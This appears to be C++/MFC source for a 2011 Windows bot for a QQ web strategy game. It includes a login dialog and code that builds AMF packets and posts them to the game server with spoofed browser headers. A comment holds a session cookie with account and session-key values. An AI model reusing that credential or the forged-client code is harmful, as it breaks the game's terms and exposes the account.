    "Z",            ID_EDIT_UNDO,           VIRTKEY, CONTROL

    "X",            ID_EDIT_CUT,            VIRTKEY, CONTROL

    "C",            ID_EDIT_COPY,           VIRTKEY, CONTROL

    "V",            ID_EDIT_PASTE,          VIRTKEY, CONTROL

    VK_BACK,        ID_EDIT_UNDO,           VIRTKEY, ALT

    VK_DELETE,      ID_EDIT_CUT,            VIRTKEY, SHIFT

    VK_INSERT,      ID_EDIT_COPY,           VIRTKEY, CONTROL

    VK_INSERT,      ID_EDIT_PASTE,          VIRTKEY, SHIFT

    VK_F6,          ID_NEXT_PANE,           VIRTKEY 

    VK_F6,          ID_PREV_PANE,           VIRTKEY, SHIFT

END





/////////////////////////////////////////////////////////////////////////////

//

// Dialog

//



IDD_ABOUTBOX DIALOG DISCARDABLE  0, 0, 235, 55

STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU

CAPTION "关于 7QW"

FONT 9, "宋体"

BEGIN

    ICON            IDR_MAINFRAME,IDC_STATIC,11,17,20,20

    LTEXT           "7QW 1.0 版",IDC_STATIC,40,10,119,8,SS_NOPREFIX

    LTEXT           "by TK.QQ:42523276",IDC_STATIC,40,25,119,8

    DEFPUSHBUTTON   "确定",IDOK,178,7,50,14,WS_GROUP

END



IDD_DIALOG1 DIALOG DISCARDABLE  0, 0, 536, 280

STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU

CAPTION "AFM包分析"

FONT 9, "宋体"

BEGIN

    CONTROL         "",IDC_STATIC1,"Static",SS_BLACKFRAME,7,7,38,247

END



IDD_DIALOG2 DIALOG DISCARDABLE  0, 0, 510, 331

STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU

CAPTION "功能2"

FONT 9, "宋体"

BEGIN

    PUSHBUTTON      "列出所有发展队列",IDC_BUTTON1,7,7,82,14

    PUSHBUTTON      "启动定时器",IDC_BUTTON3,95,7,50,14

    PUSHBUTTON      "结束定时器",IDC_BUTTON4,154,7,50,14

    PUSHBUTTON      "构造建造AMF",IDC_BUTTON2,213,7,50,14

END



IDD_DIALOG3 DIALOG DISCARDABLE  0, 0, 317, 94

STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU

CAPTION "功能3"

FONT 9, "宋体"

BEGIN

    DEFPUSHBUTTON   "OK",IDOK,260,7,50,14

    PUSHBUTTON      "Cancel",IDCANCEL,260,24,50,14

END



IDD_DIALOG4 DIALOG DISCARDABLE  0, 0, 302, 210

STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU

CAPTION "功能4"

FONT 9, "宋体"

BEGIN

    DEFPUSHBUTTON   "OK",IDOK,245,7,50,14

    PUSHBUTTON      "Cancel",IDCANCEL,245,24,50,14

END



IDD_DIALOG5 DIALOG DISCARDABLE  0, 0, 278, 330

STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU

CAPTION "游戏登录"

FONT 9, "宋体"

BEGIN

    LTEXT           "QQ帐号：",IDC_STATIC,7,76,35,8

    EDITTEXT        IDC_EDIT1,42,69,229,14,ES_AUTOHSCROLL | ES_NUMBER

    LTEXT           "QQ密码：",IDC_STATIC,7,102,35,8

    EDITTEXT        IDC_EDIT2,42,99,229,14,ES_PASSWORD | ES_AUTOHSCROLL

    LTEXT           "服务区：",IDC_STATIC,7,156,33,8

    EDITTEXT        IDC_EDIT3,42,154,229,14,ES_AUTOHSCROLL

    PUSHBUTTON      "登录",IDC_BUTTON1,7,305,50,14

    LTEXT           "验证码：",IDC_STATIC,7,128,33,8

    CONTROL         "",IDC_STATIC1,"Static",SS_BLACKRECT,163,114,70,14

    EDITTEXT        IDC_EDIT4,42,125,111,14,ES_AUTOHSCROLL

    PUSHBUTTON      "换张验证图",IDC_BUTTON2,183,305,50,14

    COMBOBOX        IDC_COMBO1,7,182,262,123,CBS_SIMPLE | CBS_SORT | 

                    WS_VSCROLL | WS_TABSTOP

    CONTROL         "",IDC_STATIC,"Static",SS_ETCHEDHORZ,7,56,264,1

    PUSHBUTTON      "AMF测试",IDC_BUTTON6,95,305,50,14

END





#ifndef _MAC

/////////////////////////////////////////////////////////////////////////////

//

// Version

//



VS_VERSION_INFO VERSIONINFO

 FILEVERSION 1,0,0,1

 PRODUCTVERSION 1,0,0,1

 FILEFLAGSMASK 0x3fL

#ifdef _DEBUG

 FILEFLAGS 0x1L

#else

 FILEFLAGS 0x0L

#endif

 FILEOS 0x4L

 FILETYPE 0x1L

 FILESUBTYPE 0x0L

BEGIN

    BLOCK "StringFileInfo"

    BEGIN

        BLOCK "080404b0"

        BEGIN

            VALUE "Comments", "\0"

            VALUE "CompanyName", "\0"

            VALUE "FileDescription", "7QW Microsoft 基础类应用程序\0"

            VALUE "FileVersion", "1, 0, 0, 1\0"

            VALUE "InternalName", "7QW\0"

            VALUE "LegalCopyright", "版权所有 (C) 2011\0"

            VALUE "LegalTrademarks", "\0"

            VALUE "OriginalFilename", "7QW.EXE\0"

            VALUE "PrivateBuild", "\0"

            VALUE "ProductName", "7QW 应用程序\0"

            VALUE "ProductVersion", "1, 0, 0, 1\0"

            VALUE "SpecialBuild", "\0"

        END

    END

    BLOCK "VarFileInfo"

    BEGIN

        VALUE "Translation", 0x804, 1200

    END

END



#endif    // !_MAC





/////////////////////////////////////////////////////////////////////////////

//

// DESIGNINFO

//



#ifdef APSTUDIO_INVOKED

GUIDELINES DESIGNINFO DISCARDABLE 

BEGIN

    IDD_ABOUTBOX, DIALOG

    BEGIN

        LEFTMARGIN, 7

        RIGHTMARGIN, 228

        TOPMARGIN, 7

        BOTTOMMARGIN, 48

    END



    IDD_DIALOG1, DIALOG

    BEGIN

        LEFTMARGIN, 7

        RIGHTMARGIN, 529

        TOPMARGIN, 7

        BOTTOMMARGIN, 273

    END



    IDD_DIALOG2, DIALOG

    BEGIN

        LEFTMARGIN, 7

        RIGHTMARGIN, 503

        TOPMARGIN, 7

        BOTTOMMARGIN, 324

    END



    IDD_DIALOG3, DIALOG

    BEGIN

        LEFTMARGIN, 7

        RIGHTMARGIN, 310

        TOPMARGIN, 7

        BOTTOMMARGIN, 87

    END



    IDD_DIALOG4, DIALOG

    BEGIN

        LEFTMARGIN, 7

        RIGHTMARGIN, 295

        TOPMARGIN, 7

        BOTTOMMARGIN, 203

    END



    IDD_DIALOG5, DIALOG

    BEGIN

        LEFTMARGIN, 7

        RIGHTMARGIN, 271

        BOTTOMMARGIN, 323

    END

END

#endif    // APSTUDIO_INVOKED





/////////////////////////////////////////////////////////////////////////////

//

// 24

//



1                       24      DISCARDABLE     "res\\default1.bin"



/////////////////////////////////////////////////////////////////////////////

//

// String Table

//



STRINGTABLE PRELOAD DISCARDABLE 

BEGIN

    IDR_MAINFRAME           "7QW\n\nMy7QW\n\n\nMy7QW.Document\nMy7QW Document"

END



STRINGTABLE PRELOAD DISCARDABLE 

BEGIN

    AFX_IDS_APP_TITLE       "7QW"

    AFX_IDS_IDLEMESSAGE     "就绪"

END



STRINGTABLE DISCARDABLE 

BEGIN

    ID_INDICATOR_EXT        "扩展名"

    ID_INDICATOR_CAPS       "大写"

    ID_INDICATOR_NUM        "数字"

    ID_INDICATOR_SCRL       "滚动"

    ID_INDICATOR_OVR        "改写"

    ID_INDICATOR_REC        "记录"

END



STRINGTABLE DISCARDABLE 

BEGIN

    ID_FILE_NEW             "建立新文档\n新建"

    ID_FILE_OPEN            "打开一个现有文档\n打开"

    ID_FILE_CLOSE           "关闭活动文档\n关闭"

    ID_FILE_SAVE            "保存活动文档\n保存"

    ID_FILE_SAVE_AS         "将活动文档以一个新文件名保存\n另存为"

    ID_FILE_PAGE_SETUP      "改变打印选项\n页面设置"

    ID_FILE_PRINT_SETUP     "改变打印机及打印选项\n打印设置"

    ID_FILE_PRINT           "打印活动文档\n打印"

    ID_FILE_PRINT_PREVIEW   "显示整页\n打印预览"

END



STRINGTABLE DISCARDABLE 

BEGIN

    ID_APP_ABOUT            "显示程序信息，版本号和版权\n关于"

    ID_APP_EXIT             "退出应用程序；提示保存文档\n退出"

END



STRINGTABLE DISCARDABLE 

BEGIN

    ID_FILE_MRU_FILE1       "打开该文档"

    ID_FILE_MRU_FILE2       "打开该文档"

    ID_FILE_MRU_FILE3       "打开该文档"

    ID_FILE_MRU_FILE4       "打开该文档"

    ID_FILE_MRU_FILE5       "打开该文档"

    ID_FILE_MRU_FILE6       "打开该文档"

    ID_FILE_MRU_FILE7       "打开该文档"

    ID_FILE_MRU_FILE8       "打开该文档"

    ID_FILE_MRU_FILE9       "打开该文档"

    ID_FILE_MRU_FILE10      "打开该文档"

    ID_FILE_MRU_FILE11      "打开该文档"

    ID_FILE_MRU_FILE12      "打开该文档"

    ID_FILE_MRU_FILE13      "打开该文档"

    ID_FILE_MRU_FILE14      "打开该文档"

    ID_FILE_MRU_FILE15      "打开该文档"

    ID_FILE_MRU_FILE16      "打开该文档"

END



STRINGTABLE DISCARDABLE 

BEGIN

    ID_NEXT_PANE            "切换到下一个窗格\n下一窗格"

    ID_PREV_PANE            "切换回前一个窗格\n前一窗格"

END



STRINGTABLE DISCARDABLE 

BEGIN

    ID_WINDOW_SPLIT         "将活动的窗口分隔成窗格\n分隔"

END



STRINGTABLE DISCARDABLE 

BEGIN

    ID_EDIT_CLEAR           "删除被选对象\n删除"

    ID_EDIT_CLEAR_ALL       "全部删除\n全部删除"

    ID_EDIT_COPY            "复制被选对象并将其置于剪贴板上\n复制"

    ID_EDIT_CUT             "剪切被选对象并将其置于剪贴板上\n剪切"

    ID_EDIT_FIND            "查找指定的正文\n查找"

    ID_EDIT_PASTE           "插入剪贴板内容\n粘贴"

    ID_EDIT_REPEAT          "重复上一步操作\n重复"

    ID_EDIT_REPLACE         "用不同的正文替换指定的正文\n替换"

    ID_EDIT_SELECT_ALL      "选择整个文档\n选择全部"

    ID_EDIT_UNDO            "撤消最后一步操作\n撤消"

    ID_EDIT_REDO            "重新执行先前已撤消的操作\n重新执行"

END



STRINGTABLE DISCARDABLE 

BEGIN

    ID_VIEW_TOOLBAR         "显示或隐藏工具栏\n显隐工具栏"

    ID_VIEW_STATUS_BAR      "显示或隐藏状态栏\n显隐状态栏"

END



STRINGTABLE DISCARDABLE 

BEGIN

    AFX_IDS_SCSIZE          "改变窗口大小"

    AFX_IDS_SCMOVE          "改变窗口位置"

    AFX_IDS_SCMINIMIZE      "将窗口缩小成图标"

    AFX_IDS_SCMAXIMIZE      "把窗口放大到最大尺寸"

    AFX_IDS_SCNEXTWINDOW    "切换到下一个文档窗口"

    AFX_IDS_SCPREVWINDOW    "切换到先前的文档窗口"

    AFX_IDS_SCCLOSE         "关闭活动的窗口并提示保存所有文档"

END



STRINGTABLE DISCARDABLE 

BEGIN

    AFX_IDS_SCRESTORE       "把窗口恢复到正常大小"

    AFX_IDS_SCTASKLIST      "激活任务表"

END



STRINGTABLE DISCARDABLE 

BEGIN

    AFX_IDS_PREVIEW_CLOSE   "关闭打印预览模式\n取消预阅"

END



#endif    // Chinese (P.R.C.) resources

/////////////////////////////////////////////////////////////////////////////







#ifndef APSTUDIO_INVOKED

/////////////////////////////////////////////////////////////////////////////

//

// Generated from the TEXTINCLUDE 3 resource.

//

#define _AFX_NO_SPLITTER_RESOURCES

#define _AFX_NO_OLE_RESOURCES

#define _AFX_NO_TRACKER_RESOURCES

#define _AFX_NO_PROPERTY_RESOURCES



#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)

#ifdef _WIN32

LANGUAGE 4, 2

#pragma code_page(936)

#endif //_WIN32

#include "res\7QW.rc2"  // non-Microsoft Visual C++ edited resources

#include "l.chs\afxres.rc"          // Standard components

#include "l.chs\afxprint.rc"        // printing/print preview resources

#endif



/////////////////////////////////////////////////////////////////////////////

#endif    // not APSTUDIO_INVOKED











源码/7QW.rc - 1 (24)

  
   
 
  Your application description here. 
   
    
    
   
  








源码/7QWDoc.cpp



    
    
    ??/7QWDoc.cpp
    
    


??/7QWDoc.cpp// 7QWDoc.cpp : implementation of the CMy7QWDoc class
//

#include "stdafx.h"
#include "7QW.h"

#include "7QWDoc.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CMy7QWDoc

IMPLEMENT_DYNCREATE(CMy7QWDoc, CDocument)

BEGIN_MESSAGE_MAP(CMy7QWDoc, CDocument)
    //{{AFX_MSG_MAP(CMy7QWDoc)
        // NOTE - the ClassWizard will add and remove mapping macros here.
        //    DO NOT EDIT what you see in these blocks of generated code!
    //}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CMy7QWDoc construction/destruction

CMy7QWDoc::CMy7QWDoc()
{
    // TODO: add one-time construction code here

}

CMy7QWDoc::~CMy7QWDoc()
{
}

BOOL CMy7QWDoc::OnNewDocument()
{
    if (!CDocument::OnNewDocument())
        return FALSE;

    // TODO: add reinitialization code here
    // (SDI documents will reuse this document)

    return TRUE;
}



/////////////////////////////////////////////////////////////////////////////
// CMy7QWDoc serialization

void CMy7QWDoc::Serialize(CArchive& ar)
{
    if (ar.IsStoring())
    {
        // TODO: add storing code here
    }
    else
    {
        // TODO: add loading code here
    }
}

/////////////////////////////////////////////////////////////////////////////
// CMy7QWDoc diagnostics

#ifdef _DEBUG
void CMy7QWDoc::AssertValid() const
{
    CDocument::AssertValid();
}

void CMy7QWDoc::Dump(CDumpContext& dc) const
{
    CDocument::Dump(dc);
}
#endif //_DEBUG

/////////////////////////////////////////////////////////////////////////////
// CMy7QWDoc commands







源码/7QWDoc.h

// 7QWDoc.h : interface of the CMy7QWDoc class

//

/////////////////////////////////////////////////////////////////////////////



#if !defined(AFX_7QWDOC_H__C858E36F_CEB4_4779_8587_8EDD0DE8BD06__INCLUDED_)

#define AFX_7QWDOC_H__C858E36F_CEB4_4779_8587_8EDD0DE8BD06__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000





class CMy7QWDoc : public CDocument

{

protected: // create from serialization only

	CMy7QWDoc();

	DECLARE_DYNCREATE(CMy7QWDoc)



// Attributes

public:



// Operations

public:



// Overrides

	// ClassWizard generated virtual function overrides

	//{{AFX_VIRTUAL(CMy7QWDoc)

	public:

	virtual BOOL OnNewDocument();

	virtual void Serialize(CArchive& ar);

	//}}AFX_VIRTUAL



// Implementation

public:

	virtual ~CMy7QWDoc();

#ifdef _DEBUG

	virtual void AssertValid() const;

	virtual void Dump(CDumpContext& dc) const;

#endif



protected:



// Generated message map functions

protected:

	//{{AFX_MSG(CMy7QWDoc)

		// NOTE - the ClassWizard will add and remove member functions here.

		//    DO NOT EDIT what you see in these blocks of generated code !

	//}}AFX_MSG

	DECLARE_MESSAGE_MAP()

};



/////////////////////////////////////////////////////////////////////////////



//{{AFX_INSERT_LOCATION}}

// Microsoft Visual C++ will insert additional declarations immediately before the previous line.



#endif // !defined(AFX_7QWDOC_H__C858E36F_CEB4_4779_8587_8EDD0DE8BD06__INCLUDED_)









源码/7QWView.cpp



    
    
    ??/7QWView.cpp
    
    


??/7QWView.cpp// 7QWView.cpp : implementation of the CMy7QWView class
//

#include "stdafx.h"
#include "7QW.h"

#include "7QWDoc.h"
#include "7QWView.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CMy7QWView

IMPLEMENT_DYNCREATE(CMy7QWView, CView)

BEGIN_MESSAGE_MAP(CMy7QWView, CView)
    //{{AFX_MSG_MAP(CMy7QWView)
        // NOTE - the ClassWizard will add and remove mapping macros here.
        //    DO NOT EDIT what you see in these blocks of generated code!
    //}}AFX_MSG_MAP
    // Standard printing commands
    ON_COMMAND(ID_FILE_PRINT, CView::OnFilePrint)
    ON_COMMAND(ID_FILE_PRINT_DIRECT, CView::OnFilePrint)
    ON_COMMAND(ID_FILE_PRINT_PREVIEW, CView::OnFilePrintPreview)
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CMy7QWView construction/destruction

CMy7QWView::CMy7QWView()
{
    // TODO: add construction code here

}

CMy7QWView::~CMy7QWView()
{
}

BOOL CMy7QWView::PreCreateWindow(CREATESTRUCT& cs)
{
    // TODO: Modify the Window class or styles here by modifying
    //  the CREATESTRUCT cs

    return CView::PreCreateWindow(cs);
}

/////////////////////////////////////////////////////////////////////////////
// CMy7QWView drawing

void CMy7QWView::OnDraw(CDC* pDC)
{
    CMy7QWDoc* pDoc = GetDocument();
    ASSERT_VALID(pDoc);
    // TODO: add draw code for native data here
}

/////////////////////////////////////////////////////////////////////////////
// CMy7QWView printing

BOOL CMy7QWView::OnPreparePrinting(CPrintInfo* pInfo)
{
    // default preparation
    return DoPreparePrinting(pInfo);
}

void CMy7QWView::OnBeginPrinting(CDC* /*pDC*/, CPrintInfo* /*pInfo*/)
{
    // TODO: add extra initialization before printing
}

void CMy7QWView::OnEndPrinting(CDC* /*pDC*/, CPrintInfo* /*pInfo*/)
{
    // TODO: add cleanup after printing
}

/////////////////////////////////////////////////////////////////////////////
// CMy7QWView diagnostics

#ifdef _DEBUG
void CMy7QWView::AssertValid() const
{
    CView::AssertValid();
}

void CMy7QWView::Dump(CDumpContext& dc) const
{
    CView::Dump(dc);
}

CMy7QWDoc* CMy7QWView::GetDocument() // non-debug version is inline
{
    ASSERT(m_pDocument->IsKindOf(RUNTIME_CLASS(CMy7QWDoc)));
    return (CMy7QWDoc*)m_pDocument;
}
#endif //_DEBUG

/////////////////////////////////////////////////////////////////////////////
// CMy7QWView message handlers







源码/7QWView.h

// 7QWView.h : interface of the CMy7QWView class

//

/////////////////////////////////////////////////////////////////////////////



#if !defined(AFX_7QWVIEW_H__773DDD1E_483D_4793_A4F0_22A3E38B587D__INCLUDED_)

#define AFX_7QWVIEW_H__773DDD1E_483D_4793_A4F0_22A3E38B587D__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000





class CMy7QWView : public CView

{

protected: // create from serialization only

	CMy7QWView();

	DECLARE_DYNCREATE(CMy7QWView)



// Attributes

public:

	CMy7QWDoc* GetDocument();



// Operations

public:



// Overrides

	// ClassWizard generated virtual function overrides

	//{{AFX_VIRTUAL(CMy7QWView)

	public:

	virtual void OnDraw(CDC* pDC);  // overridden to draw this view

	virtual BOOL PreCreateWindow(CREATESTRUCT& cs);

	protected:

	virtual BOOL OnPreparePrinting(CPrintInfo* pInfo);

	virtual void OnBeginPrinting(CDC* pDC, CPrintInfo* pInfo);

	virtual void OnEndPrinting(CDC* pDC, CPrintInfo* pInfo);

	//}}AFX_VIRTUAL



// Implementation

public:

	virtual ~CMy7QWView();

#ifdef _DEBUG

	virtual void AssertValid() const;

	virtual void Dump(CDumpContext& dc) const;

#endif



protected:



// Generated message map functions

protected:

	//{{AFX_MSG(CMy7QWView)

		// NOTE - the ClassWizard will add and remove member functions here.

		//    DO NOT EDIT what you see in these blocks of generated code !

	//}}AFX_MSG

	DECLARE_MESSAGE_MAP()

};



#ifndef _DEBUG  // debug version in 7QWView.cpp

inline CMy7QWDoc* CMy7QWView::GetDocument()

   { return (CMy7QWDoc*)m_pDocument; }

#endif



/////////////////////////////////////////////////////////////////////////////



//{{AFX_INSERT_LOCATION}}

// Microsoft Visual C++ will insert additional declarations immediately before the previous line.



#endif // !defined(AFX_7QWVIEW_H__773DDD1E_483D_4793_A4F0_22A3E38B587D__INCLUDED_)









源码/7wAmfCmd.cpp



    
    
    源码/7wAmfCmd.cpp
    
    


源码/7wAmfCmd.cpp// 7wAmfCmd.cpp: implementation of the C7wAmfCmd class.
//
//////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "7QW.h"
#include "7wAmfCmd.h"
#include "amf_object.h"
#include "amf_static.h"
#include "StaticFunctions.h"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CString C7wAmfCmd::m_strCookies="";
CMapStringToString  C7wAmfCmd::m_mapDomanByte;
CMapStringToString  C7wAmfCmd::m_mapSelectBuild;
CString C7wAmfCmd::m_strDomain="";



C7wAmfCmd::C7wAmfCmd()
{

}

C7wAmfCmd::~C7wAmfCmd()
{

}

UINT C7wAmfCmd::_Decode7WAmfCmd(BYTE *pbuf, UINT ulen, BOOL bGzip,CMainFrame *pfm)
{
    //不管三七二十一,先把数据缓冲先
    //开辟缓冲区 
    DWORD dwlen;
    CString strlog;
    BYTE  *pdest=(BYTE  *)malloc(sizeof(BYTE)*ulen);
    memcpy(pdest,pbuf,ulen);
    CByteArray *parray; 
    parray=new CByteArray();
    parray->SetSize(ulen);
    if(bGzip)
    {

        dwlen=amf_static::_DeGzip(pdest,parray,ulen);
        if(dwlen<=ulen)
        {
            strlog.Format("解析失败[%d/%d]",ulen,dwlen);
            pfm->SetLogString(strlog,0);
            return 0;
        }   
    }else
    {
        memcpy(parray->GetData(),pdest,ulen);
    }
    
/*  CString temp;
    CString FileName="f:\\"+CStaticFunctions::GetCurrentTimeStr()+"_log";
    CFile file(FileName,CFile::modeReadWrite|CFile::modeNoTruncate|CFile::modeCreate);
    file.Write(parray->GetData(),parray->GetSize());
    file.Close();*/


    TAG_context ctx;
    amf_object::init_context(&ctx,NULL,NULL);
    TAG_IoData* io = new TAG_IoData();
    
    io->buflen=parray->GetSize();
    io->buf=(unsigned char*)malloc(io->buflen);
    ::memcpy(io->buf,parray->GetData(),io->buflen);
    io->pos = 0;
    ctx.m_IFileHandle =io;
    //字节数组释放掉
    parray->RemoveAll();

    //pfm->SetLogString(strlog,0);
    //选跳过头部
    amf_static::read_head(&ctx);

    //准备解析amf3数据,并树形控制件上进行显示
    amf_object_handle aoh=amf_static::read_elem(&ctx);
    TAG_IoData* iox=(TAG_IoData* )ctx.m_IFileHandle;

    if(iox->pos==io->buflen)
    {
        strlog.Format("解析成功[%d/%d]",iox->pos,io->buflen);
        pfm->SetLogString(strlog,0);
    }
    else    
    {
        strlog.Format("解析不完整[%d/%d]",iox->pos,io->buflen);
        pfm->SetLogString(strlog,0);
    
    }

    CString strdata;

    //准备把解析结果显示以树形控件上
    pfm->m_pFun1LeftView->_InsertRootItem();
    amf_static::_DumpAmf(aoh,pfm->m_pFun1LeftView->m_hRoot,pfm->m_pFun1LeftView->GetTreeCtrl(),strdata);
    pfm->SetLogString(strdata,0);
    
    pfm->m_pFun1LeftView->GetTreeCtrl().Expand(pfm->m_pFun1LeftView->m_hRoot,TVE_EXPAND);
    amf_object::clear_context(&ctx);
    free(io->buf);
    delete io;
    return 1;
    

}

DWORD C7wAmfCmd::_SendAmfCmd(LPVOID lpParam)
{


    TAG_AMF3CMD *pamf=(TAG_AMF3CMD *)lpParam;
    CString strUrl,strHeader,strlog,strRecvHeader;
    TAG_HTTPRequest req;
    CHttpRequest  hrq;
    int iret;

    strUrl.Format("http://s%s.jn2.7.qq.com/dynasty/messagebroker/amf",C7wAmfCmd::m_strDomain);
    
    
    strHeader.Format("Accept: */*\r\n"
        "Accept-Language: zh-CN\r\n"
        "Referer: http://cdn.dl.7.qq.com/dynasty/swf/Loading.swf?039e16b91e52fda64fc733ef45898838\r\n"
        "x-flash-version: 10,2,159,1\r\n"
        "Content-Type: application/x-amf\r\n"
        "Content-Length: %d\r\n"
        "UA-CPU: x86\r\n"
        "Accept-Encoding: gzip, deflate\r\n"
        "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322;" 
        ".NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\r\n"
        "Host: s%s.jn2.7.qq.com\r\n"
        "Connection: Keep-Alive\r\n"
        "Cache-Control: no-cache\r\n",pamf->usize,m_strDomain);
    
//  C7wAmfCmd::m_strCookies="Cookie: JSESSIONID=689FDCA2C0895C0105D423A123CBDF0B; ied_rf=--; sTemp=website; 7_fx_login=42523276%7C218%2E25%2E62%2E156%7C1309767035%7C0%7C1%7C1%5F6%7C0%5F0%7C0%5F0%7C619D2774526FD7570ACC1EF41749C155x; sFrom=website; pgv_pvid=5285421272; pgv_info=pgvReferrer=&ssid=s4025553806x; ptui_width=300; ptui_height=164; pt2gguin=o0042523276; uin=o0042523276; skey=@eGTkJKKDEx; ptisp=cnc";
    
    strHeader=strHeader+C7wAmfCmd::m_strCookies+"\r\n\r\n";

/*  CString FileName="f:\\"+CStaticFunctions::GetCurrentTimeStr()+"send";
    CFile file(FileName,CFile::modeReadWrite|CFile::modeNoTruncate|CFile::modeCreate);
    file.Write(pamf->buffer,pamf->usize);
    file.Close();*/


    iret=hrq.SendHTTP(strUrl.GetBuffer(0),strHeader.GetBuffer(0),pamf->buffer,pamf->usize,&req);
    if(!iret)
    {
        strlog.Format("发送%s指令成功,结果:%s",pamf->m_strcmd,req.headerReceive);
        pamf->pfm->SetLogString(strlog,0);
        //_SaveLogFile(&req);
    }else
    {
        strlog.Format("发送%s指令失败,结果:%s",pamf->m_strcmd,req.headerReceive);
        pamf->pfm->SetLogString(strlog,0);
    }
    
    strRecvHeader=req.headerReceive;
    BOOL bgzip;
    int i=0;
    if(strRecvHeader.Find("gzip")>0)
    {
        bgzip=TRUE;
        for(i=0;i<req.messageLength;i++)
        {
            if(((BYTE)*(req.message+i)==0x1F)&&((BYTE)*(req.message+i+1)==0x8B))
            {
                break;
            }
            
        }
        
    }else
    {
        bgzip=FALSE;
        
    }
    
    C7wAmfCmd::_Decode7WAmfCmd((BYTE *)req.message+i,req.messageLength-i,bgzip,pamf->pfm);
    
    free(req.message);
    free(req.headerReceive);
    

    return -1;


}

UINT C7wAmfCmd::_CreateAmf3Cmd(CByteArray *parray, CString strcmd, BYTE *pbuf, UINT ulen)
{
    int strlen=strcmd.GetLength();
    //00 00（AMF0版本）00 00（Header个数为0）00 01（AMF主体有1个）,6个字节 
    unsigned char amfcmd1[] ="\x00\x03\x00\x00\x00\x01";
    //这两个字节表示请求字符串长度,2个字节
    BYTE  reqlen[2]={0};
    reqlen[1]=(BYTE)strcmd.GetLength();
    //紧接着是请求字符串 strcmd 参数传递,字节数根据strcmd决定
    //再接下来是结果字符串"/99",5个字节
    BYTE resstr[]="\x00\x03\x2F\x39\x39";
    //请求数据的总长度,4个字节
    BYTE datalen[4]={0};
    datalen[3]=ulen;
    //最后是内容数据,长度是ulen个字节
    //开始构造CByteArray数组
    UINT utotal=6+2+strcmd.GetLength()+5+4+ulen;
    parray->SetSize(utotal);
    PBYTE phead=parray->GetData();
    memcpy(phead,amfcmd1,6);
    memcpy(phead+6,reqlen,2);
    memcpy(phead+8,strcmd.GetBuffer(0),strcmd.GetLength());
    memcpy(phead+8+strlen,resstr,5);
    memcpy(phead+13+strlen,datalen,4);
    memcpy(phead+17+strlen,pbuf,ulen);


    return -1;
}

void C7wAmfCmd::_SetGlobalParamaters()
{
    
    m_mapDomanByte.InitHashTable(240);

    ///////////////////////////////////////////////////////////////////////////////////////
    //华南大区
    m_mapDomanByte.SetAt("509","48.138.179.79");//509---华南区,广东13区
    m_mapDomanByte.SetAt("43","48.154.164.127");//43---华南区,中山2区
    m_mapDomanByte.SetAt("32","48.170.178.76"); //32---华南区,珠海1区
    m_mapDomanByte.SetAt("30","48.152.185.96"); //30---华南区,福建4区

    m_mapDomanByte.SetAt("40","48.155.216.40"); //40---华南区,东莞2区
    m_mapDomanByte.SetAt("21","48.162.192.101");//21---华南区,东莞1区
    m_mapDomanByte.SetAt("46","48.150.233.28"); //46---华南区,佛山2区
    m_mapDomanByte.SetAt("39","48.156.170.93"); //39---华南区,深圳2区
    m_mapDomanByte.SetAt("16","48.165.235.52"); //16---华南区,深圳1区
    m_mapDomanByte.SetAt("503","48.141.209.10"); //503---华南区,广州3区
    m_mapDomanByte.SetAt("36","48.152.235.27"); //36---华南区,广州2区
    m_mapDomanByte.SetAt("15","48.175.235.90"); //15---华南区,广州1区
    m_mapDomanByte.SetAt("28","48.153.156.32"); //28---华南区,惠州1区
    m_mapDomanByte.SetAt("25","48.162.133.97"); //25---华南区,中山1区
    m_mapDomanByte.SetAt("501","48.152.239.0"); //501---华南区,广西4区    
    m_mapDomanByte.SetAt("49","48.146.158.85"); //49---华南区,广西3区
    m_mapDomanByte.SetAt("22","48.160.237.18"); //22---华南区,广西2区
    m_mapDomanByte.SetAt("7","48.172.243.35");  //7---华南区,广西1区
    m_mapDomanByte.SetAt("44","48.151.137.76"); //44---华南区,福建7区
    m_mapDomanByte.SetAt("41","48.146.219.103"); //41---华南区,福建6区
    m_mapDomanByte.SetAt("37","48.150.156.126"); //37---华南区,福建5区
    m_mapDomanByte.SetAt("12","48.155.186.55"); //12---华南区,福建3区
    m_mapDomanByte.SetAt("10","48.166.241.70"); //10---华南区,福建2区
    m_mapDomanByte.SetAt("8","48.171.197.30");  //8---华南区,福建1区
    m_mapDomanByte.SetAt("17","48.159.193.45"); //17---华南区,福州1区
    m_mapDomanByte.SetAt("20","48.158.171.83"); //20---华南区,厦门1区
    m_mapDomanByte.SetAt("48","48.145.248.126"); //48---华南区,泉州2区
    m_mapDomanByte.SetAt("23","48.158.208.113"); //23---华南区,泉州1区
    m_mapDomanByte.SetAt("502","48.138.152.92"); //502---华南区,广东12区
    m_mapDomanByte.SetAt("42","48.150.176.54"); //42---华南区,广东11区
    m_mapDomanByte.SetAt("34","48.153.204.28"); //34---华南区,广东10区
    m_mapDomanByte.SetAt("26","48.152.234.123"); //26---华南区,广东9区
    m_mapDomanByte.SetAt("14","48.159.216.126"); //14---华南区,广东8区
